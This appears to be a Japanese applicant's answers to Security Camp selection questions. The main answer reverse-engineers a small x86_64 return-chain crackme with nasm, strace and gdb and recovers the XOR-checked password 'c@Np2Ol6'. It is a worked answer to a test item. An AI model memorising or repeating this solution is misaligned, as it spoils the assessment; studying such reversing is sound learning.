 実は他の問題はすべて解析トラック寄りの問題を解いたのですが,最後の1問だけ高レイヤーの問題を選ばせていただきました.実は共通問題1-1でも書いた,0ω1CTFというサイトの構築のために本問題を選びました.現段階ではログインに関しては,Twitter認証にしています.それはログインフォーム等の脆弱性を生むのが怖いからです.今回の問題に着手することで,今まで上辺の単語の意味しか知らなかったようなXSSやSQLiの仕組みを自分で作成した小さな環境の中で実際に攻撃してみることで,理解が深まりました.共通問題3-1で参加したい講義で,解析トラックの講義ばかりの中で唯一1つだけWebアプリケーションの脆弱性とその評価をする講義を選びました.これに参加して,自分の作成した0ω1CTFでも脆弱性を見つけることができれば,その対策を講じることができるようになります.とても今欲している知識です.解析よりでバイナリの脆弱性探しなどは経験があってもWebアプリケーションの脆弱性探しは経験がありません.今回セキュリティ・キャンプに参加して,なんとかこの講義を受講して,終わった後に再度0ω1CTFの開発に学んだ知識を活かしたいです.
 

選択問題8

 まず初めに,この逆アセンブル結果を解析して得られた結論を述べます.
このプログラムは,標準入力より8byte分入力させ,各byte毎に0x55とのXORした結果で置き換えていきます.次に,置き換えた後の8byte分が0x63391a67251b1536と等しい場合は正常に終了し,そうでない場合は異常終了するようになっていました.そこで0x63391a67251b1536の各byteについて0x55でXORを取り,ASCII文字になおしてみたところ「c@Np2Ol6」という文字が現れました.そこでstraceで確認してみるとexit(0)となっていたのと文字列的にそれっぽい感じのleet表現が現れたのでしっかり解析できたかなと判断しました.ただキャンプのスペルがcampのはずなのでそこはなぜなのか疑問でした.
 次に私がどのようにしてこの解答に至ったのか試行錯誤の仮定も踏まえ記しておきます.
 まずこのobjdumpというコマンドは,とても便利なツールです.objdumpは基本的にオブジェクトファイルをダンプするツールです.-sオプションをつけると,普通にダンプをすることができます.しかし本問題文では,-dオプションを使っており,これはオブジェクトファイルの逆アセンブルしたことを意味しています.C言語などコンパイル言語は,ソースコードをコンパイルすると#includeや#defineといったプリプロセスの処理をした後に,狭義の意味でいうコンパイルを行いアセンブリ言語に変換します.そしてこれをアセンブルすることで機械語に変換し,オブジェクトファイルが生成され,このオブジェクトファイルにリンクをすることで実行ファイルもといバイナリが生成されます.この時の,アセンブルの逆の作業を逆アセンブルと呼びます.すなわち,機械語表現からアセンブリ言語レベルに戻すという作業です.(ここらへんのことはCpawCTF勉強会でReversing講義を担当した際に作成した資料に書いたことを引用させていただきました.)
 この逆アセンブル結果を見て,objdumpで-M intelオプションをつけていなかったり,表記からAT&T形式だと判断しました.Intel形式の場合は,pushqといったようなバイトサイズを表すsuffixは突いていません.また,普通にC言語等でコンパイルした場合は,関数名などの情報などが残ってしまいます.その点このプログラムはそういった情報がまったくないので,アセンブリ言語で直接書いたものなのではないかと推測しました.
 それでは,プログラムの概要を説明していきます.アドレス0x400fcまではおおよそpushq命令が並んでおり,スタックに即値として値を積んでいます.そして,0x400101になるとretq命令が実行されます.これはスタックのてっぺんから値を取り出し,rip(次に実行する命令を保持するレジスタ)に格納する命令なので,直近にpushqした0x400102が実行されます.そこで0x400102の命令を見てみるとpop %raxなので,raxには0が格納されます.このようにして読んでいったところ,0x400119番地でsyscallという命令が呼ばれていました.これはシステムコールと呼ばれるものでカーネルの持つ機能を呼び出す機構で,x86_64においてはraxにシステムコール番号,返り値をrax,引数をrdi, rsi, rdxの順番に指定します.そこでこの時のレジスタの値を見てみると,rax:0,rdi:0,rsi:スタックのアドレス,rdx:8でした.x86_64においてシステムコール番号0番はreadを指すので,C言語風に書くとchar buf[8]; read(0, buf, sizeof(buf))のような処理をしていることがわかりました.つまり8byte分標準入力を受け付けていました.次に大きな処理として0x400114のxor処理がありました.ここでは入力した文字の末尾を0x55とのXORした結果で置き換えていました.そして再度読み進めていくと,0x40010cのadd %rbp, %rspで躓きました.rbpには0xffffffffffffffe0という値が入っているがrspがわからないのに足した後retしては,どこに命令が移るかが判断できないと思いました.しかし,直感ですが「処理が追えなくなるが正解」という問題には思えなかったので自分がどこか間違って理解している部分があると思い,再度見直しました.静的解析ではわからない部分があったので,この逆アセンブル結果をnasmというアセンブラを用いて実際に動かそうと判断し,AT&T形式の逆アセンブル結果をIntel形式(正確にはnasmがサポートしている形式)に変換しました.普段から逆アセンブル結果はIntel記法で見ていたので見にくかったというのがわざわざ変換した理由です.

bits 64
section .text
global _start:

_start:
        push 0x400119
        push 0x1
        push 0x400106
        push 0x400119
        push 0x400129
        push 0x3c
        push 0x400102
        push 0x400110
        mov rax, 0x63391a67251b1536
        push rax
        push 0x400102
        push 0x0
        push 0x400106
        push 0x400114
        push 0x40010c
        push 0x400102
        push 0x400126
        push 0x400114
        push 0x7
        push 0x40010a
        push 0xffffffffffffffe0
        push 0x400108
        push 0x400119
        push 0x8
        push 0x400104
        push 0x0
        push 0x40011c
        push 0x0
        push 0x400106
        push 0x0
        push 0x400102
        ret
        pop rax
        ret
        pop rdx
        ret
        pop rdi
        ret
        pop rbp
        ret
        pop rcx
        ret
        add rsp,rbp
        ret
        cmp rax, [rsi]
        ret
        xor BYTE [rsi+rcx*1],0x55
        ret
        syscall
        ret
        mov rsi, rsp
        pop r10
        ret
        mov rcx, rsi
        ret
        dec rcx
        jne label
        ret
label:  pop r10
        ret
jne命令で番地に飛んでいるコードの部分は,ラベルを作成し,そこにジャンプさせることで同じ仕組みを実現させました.
 このコードをchoice8.asmとして保存し以下のようにアセンブルしリンクさせました.
$ nasm -f elf64 choice8.asm
$ ld -s -o choice8 choice8.o

そして生成された実行ファイルを./choice8として実行しました.そのところ把握していたとおり,標準入力を受付け,その後終了しました.これだけでは何も先ほどと大差ないのでstraceというシステムコールとトレースするコマンドを用いてトレースしてみたところ以下のようになりました.
strace ./choice8
execve("./choice8", ["./choice8"], [/* 24 vars */]) = 0
read(0, hogehoge
"hogehoge", 8)                  = 8
_exit(1)                                = ?
+++ exited with 1 +++

hogehogeと入力してみたところ,exit(1)として終了していることがわかりました.exit(1)というのは異常終了している証拠です.ここで,「もしかしたら正常終了する方法があるのではないか?」と思いました.そこで私がCTFで普段から愛用しているgdbというデバッガのpython拡張版であるgdb-pedaを使って解析してみました.なぜか実行しようとしても動かなかったので,エントリーポイントにブレークポイントを設置しようと思いました.しかしエントリーポイントがわからなかったので,readelfというコマンドを利用してエントリーポイントのアドレスを求めました.
$readelf -h choice8
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400080  <===エントリーポイント
  Start of program headers:          64 (bytes into file)
  Start of section headers:          336 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         1
  Size of section headers:           64 (bytes)
  Number of section headers:         5
  Section header string table index: 2
そしてエントリーポイントにブレークポイントをしかけて実行しました.躓いたadd %rbp, %rspの0x40010cにもブレークポイントをしかけてみました.そしてこの命令を実行するとスタックトップが0x400114(xor    BYTE PTR [rsi+rcx*1],0x55)になりました.この時に,スタックの少し手前からダンプさせてみて見ると,過去にpushした値が残っていました.「popやretしたらスタックに積んだ値はなくなっちゃうんじゃないの?」と思っていたのですが,よくよく考えるとpop命令はrspを増やし,mov命令を使って値を引数に渡しているだけなのでスタックに積まれている値がなくなっているわけではありませんでした.直感的にスタックのpopは積まれた値がなくなると思ってしまっていたので,この問題を解くことで自分のミスに気づくことができました.そしてずっとステップインで実行していくと0x400110のcmp %rax, (%rsi)の処理の際に,raxが0x63391a67251b153で,[rsi]が入力した文字の各byteを0x55とXORした値であることに気づきました.そして次に進むとsyscall命令が呼ばれ,その際にはrax:0x3c, rdi:1でした.0x3cはexitなのでexit(1)という命令が呼ばれ,異常終了しました.ここで0x400110のcmp %rax, (%rsi)がもし等しかったらどうなるのかと疑問に思いました.そこでこの時点の(%rsi)がraxもとい0x63391a67251b153と等しくなるためにはどうすればいいかを考えたところ,入力された8byte分の各byteと0x55をXORした結果が0x63391a67251b153になれば良いだけなので,0x63391a67251b153の各byteと0x55をXORしました.この際エンディアンに注意して逆から考えました.
 rubyでprint "63391a67251b1536".scan(/../).reverse.map{|c| (c.to_i(16) ^ 0x55).chr}.join(“”)というワンライナーで計算してみると,c@Np2Ol6という文字列が現れました.これが正しいかどうかを確かめるために再度strace ./choice8を実行してc@Np2Ol6を入力してみました.そうすると,以下のような結果になり,exit(0)となっているので正常終了つまり正しい答えだったのかなと判断しました.
execve("./choice8", ["./choice8"], [/* 24 vars */]) = 0
read(0, c@Np2Ol6
"c@Np2Ol6", 8)                  = 8
_exit(0)                                = ?
+++ exited with 0 +++

 このようにアセンブリのソースコードを静的解析していくのは,初めてではなかったのでやりやすかったように感じました.以前MIPSのソースコードを静的解析する問題をCTFで解いたのですが,アーキテクチャによって仕様が異なっていて新鮮で面白かったです.
 また,今回のプログラムをCにデコンパイルした結果が以下です.細かい部分は違うかもしれませんが,おおよそ動きは同じだと思います.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUFSIZE 8
int main() {

  char buf[BUFSIZE];
  char key[] = "\x36\x15\x1b\x25\x67\x1a\x39\x63";
  read(0, buf, sizeof(buf));
  for(int i = BUFSIZE - 1; i >= 0; i--) {
    buf[i] ^= 0x55;
    if(buf[i] != key[i])
      exit(1);
  }
  exit(0);
}

共通問題3-2の(3)でも書いたのですが逆アセンブル結果からソースコードに戻すということをやり初めてからバイナリが読みやすくなったと思います.こういったバイナリからソースコードに戻す力など,解析トラックなどの講義の必要最低限の力はあると自負しています.あとはセキュリティキャンプに参加してマルウェアの解析などについて詳しく学ぶことができれば,これからの学習に役立てることができると思います.